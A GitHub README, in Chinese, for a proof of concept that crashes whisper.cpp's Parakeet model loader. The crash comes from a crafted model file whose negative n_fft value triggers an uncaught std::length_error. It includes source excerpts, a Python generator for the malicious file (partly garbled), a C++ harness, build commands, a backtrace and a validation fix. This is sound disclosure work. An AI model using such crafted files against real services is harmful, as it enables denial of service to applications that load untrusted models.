TipsyPhiber/CVE_Parakeet_PoC
GitHub: TipsyPhiber/CVE_Parakeet_PoC
针对 whisper.cpp 的 Parakeet 模型加载器中因 n_fft 参数未验证而导致的拒绝服务漏洞的概念验证代码。
Stars: 1 | Forks: 0
# CVE_Parakeet_PoC
## 概述
`src/parakeet.cpp` 中的 Parakeet 模型加载器直接从模型文件中读取 `n_fft` 超参数,并在 `parakeet_mel_cache::init()` 中将其用作内部缓冲区的大小,且未进行任何验证。如果构造一个特殊的模型文件,将 `n_fft` 设置为负值,会导致使用一个极大的尺寸(负数 `int` 被扩展为 `size_t`)调用 `std::vector::resize()`,从而抛出 `std::length_error` 异常。由于初始化缓存的调用位于保护模型加载的 `try/catch` **外部**,该异常未被捕获,进程通过 `std::terminate` 被中止——这是一种纯粹通过加载不受信任的模型而引发的拒绝服务攻击。
当应用程序加载不受信任或由攻击者提供的 Parakeet 模型时,可以通过公开的加载入口点(例如 `parakeet_init_from_file_with_params`、`parakeet_init_from_buffer_with_params_no_state`)触发此问题。
**受影响的文件:** `src/parakeet.cpp`
**复现版本:** `6fc7c33b`(撰写本文时的当前 `master` 分支),使用 `-DWHISPER_SANITIZE_ADDRESS=ON` 构建。
## 根本原因
`n_fft` 直接从模型文件中读取,且从未进行验证:
```
// src/parakeet.cpp:1013 (inside parakeet_model_load)
read_safe(loader, hparams.n_fft);
```
随后它被用作 `parakeet_mel_cache::init()` 中的缓冲区大小:
```
// src/parakeet.cpp:480
void init(int fft_size) {
n_fft = fft_size;
sin_vals.resize(n_fft); // n_fft is a signed int, implicitly converted to size_t
cos_vals.resize(n_fft);
hann_window.resize(n_fft);
...
}
```
关键在于,初始化缓存的调用位于保护模型加载的 `try/catch` **外部**。保护块在第 3102 行结束,而缓存在之后的第 3114 行才被初始化:
```
// src/parakeet.cpp:3096
try {
model_loaded = parakeet_model_load(loader, *ctx);
} catch (const std::exception & e) {
...
} catch (...) {
...
} // 3102 — guard ends here
if (!model_loaded) { ... return nullptr; }
// src/parakeet.cpp:3114 — runs OUTSIDE the try/catch above
ctx->mel_cache.init(ctx->model.hparams.n_fft);
```
当 `n_fft` 为负数时,`resize()` 接收到扩展为 `size_t` 的值(例如 `-1` → `SIZE_MAX`)并抛出 `std::length_error`。由于 `parakeet.cpp:3114` 处的调用在 `try/catch` 之外,异常会未被捕获地传播。whisper.cpp 安装了全局 terminate 处理程序(`ggml_uncaught_exception`,位于 `ggml/src/ggml.cpp` 中),因此进程会打印 backtrace 并调用 `abort()` → 拒绝服务。
## 复现
附件中提供了独立的生成器(generator)和测试载体(harness)。生成器会写入一个包含 `n_fft = -1` 的最小化 Parakeet 模型文件。测试载体通过公开的 buffer 入口点加载它。
构造的文件使用了 `n_loaded == 0`(没有 tensor 数据),这会到达 `parakeet_model_load`(`parakeet.cpp:1461`)中的“空模型”路径并返回 `true`,因此控制流能够执行到位于 `parakeet.cpp:3114` 的 `mel_cache.init(n_fft)`。
**生成器 (`make_poc.py`):**
```
import struct
MAGIC = 0x67676d6c # GGML_FILE_MAGIC "ggml"
def i32(v): return struct.pack('
#include
#include
#include "parakeet.h"
int main(int argc, char** argv) {
if (argc < 2) { fprintf(stderr, "usage: %s \n", argv[0]); return 1; }
std::ifstream f(argv[1], std::ios::binary);
if (!f) { fprintf(stderr, "cannot open %s\n", argv[1]); return 1; }
std::vector buf((std::istreambuf_iterator(f)), {});
struct parakeet_context_params p = parakeet_context_default_params();
p.use_gpu = false;
struct parakeet_context* ctx =
parakeet_init_from_buffer_with_params_no_state(buf.data(), buf.size(), p);
if (ctx) { printf("[+] returned ctx=%p\n", (void*)ctx); parakeet_free(ctx); }
else { printf("[-] returned nullptr\n"); }
return 0;
}
```
**构建与运行(推荐使用 AddressSanitizer):**
```
# 使用 Parakeet 库和 ASan 构建 whisper.cpp:
cmake -B build -DWHISPER_SANITIZE_ADDRESS=ON -DCMAKE_BUILD_TYPE=Debug
cmake --build build --target parakeet -j
python3 make_poc.py
# 注意:Parakeet loader 位于 libparakeet 中,而不是 libwhisper。
g++ -g -O0 -fsanitize=address run_poc.cpp -o run_poc \
-Lbuild/bin -lparakeet -lggml -lggml-base -lggml-cpu \
-Wl,-rpath,build/bin -Iinclude -Iggml/include
LD_LIBRARY_PATH=build/bin ./run_poc poc_nfft_neg1.bin # process aborts (std::terminate)
```
## 观察结果
针对 `poc_nfft_neg1.bin` 运行测试载体会导致进程中止。以下是简化的 backtrace(在提交 `6fc7c33b` 上使用 ASan 构建):
```
parakeet_model_load: n_fft = -1
parakeet_model_load: WARN no tensors loaded from model file - assuming empty model for testing
...
terminate called after throwing an instance of 'std::length_error'
what(): vector::_M_default_append
#12 std::vector::resize (__new_size=18446744073709551615) bits/stl_vector.h:1146
#13 parakeet_mel_cache::init (fft_size=-1) src/parakeet.cpp:482
#14 parakeet_init_with_params_no_state src/parakeet.cpp:3114
#15 parakeet_init_from_buffer_with_params_no_state src/parakeet.cpp:3081
#16 main run_poc.cpp:19
==ERROR: AddressSanitizer: ABRT ... in __pthread_kill_implementation
```
负的 `n_fft`(`-1`)在 `resize()` 处被扩展为 `18446744073709551615`(`SIZE_MAX`),`std::length_error` 从 `parakeet.cpp:482` 的 `init()` 中抛出,并且由于 `parakeet.cpp:3114` 处的调用位于加载器的 `try/catch` 之外,该异常未被捕获,导致进程中止。
## 修复建议
在读取 `n_fft` 之后立即(在 `parakeet.cpp:1013` 附近)进行验证,并在失败时拒绝该模型,以便加载器能够干净地返回 `false`,而不是崩溃。至少应要求其为一个正且合理范围内的值:
```
read_safe(loader, hparams.n_fft);
if (hparams.n_fft <= 0 || hparams.n_fft > PARAKEET_MAX_N_FFT /* e.g. 65536 */) {
PARAKEET_LOG_ERROR("%s: invalid model (bad n_fft value %d)\n", __func__, hparams.n_fft);
return false;
}
```
此外,位于 `parakeet.cpp:3114` 的 `mel_cache.init()` 应该被移至保护加载过程的 `try/catch` 内部,或者加载路径应确保在执行到该处之前 `n_fft` 已被验证,从而确保没有任何无效值能够引发未捕获的异常。
标签:Bash脚本, C++, 人工智能, 拒绝服务, 数据擦除, 漏洞分析, 用户模式Hook绕过, 语音识别, 路径探测, 逆向工具